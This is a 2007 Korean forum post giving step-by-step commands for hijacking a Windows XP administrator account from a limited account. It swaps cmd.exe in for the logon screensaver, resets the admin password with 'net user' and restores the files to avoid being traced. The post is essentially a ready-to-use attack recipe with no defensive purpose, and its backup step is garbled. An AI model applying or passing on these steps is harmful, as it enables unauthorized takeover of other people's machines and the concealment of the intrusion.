|
http://www.hackerschool.org/HS_Boards/zboard.php?id=Free_Lectures&no=657 [복사]
이 기법은 해당 윈도우의 사용자가 셋업시에 관리자 계정용 비밀번호를 명시해 놓았을때에만 가능합니다,
이 기법은 윈xp와pro에서 성공했음,
먹히는 시스템도 있는반면에 안먹히는 시스템도 있더라구요^-
---------------------------------------------------------------------------
공격목표 시스템에 제한된 계정으로 로그온하고 도스 프롬프트를
연후 다음과 같은 명령어를 입력한다.
-루트로 이동
cd/
-system32 디렉토리로 이동
cd/windows/system32
-temphack 디렉토리를 생성
mkdir temphack
-logon.scr을 백업
copy logon.scr temphack.cmd.exe
-원래 logon.scr를 삭제
del logon.scr
-cmd.exe를 logon.scr로 리네임
rename cmd.exe logon.scr
-도스상태에서 빠져나옴
exit
여러분이 한 작업은 명령어 프로그램과 스크린 세이버 파일을 백업하고 세팅을 바꾼것이다. 결과적으로 시스템이 스크린세이버를 작동시키면 여러분은 XP 로 로깅 하지 않고도 도스 프롬프트를 가질수 있게 된다.
도스프롬프트를 가지게 되면 다음의 명령어를 사용한다.
-net user <관리자용 계정이름> password
관리자의 계정이 Hacker 이고 비밀번호를 11111로 만들려면 다음과 같이 입력한다
-net user Hacker 11111
이렇게 하면 비밀번호가 11111 로 바뀌어 진다
주의: 추적을 피하기 위해서 temphack의 콘덴츠를 system32 디렉토리로 복사하는 것을 잊지 마세요,.,.,.^-
은근히 힘드네
행복한 하루되세요^- |
Hit : 17137 Date : 2007/02/26 07:46
|
1597, 
1/80 
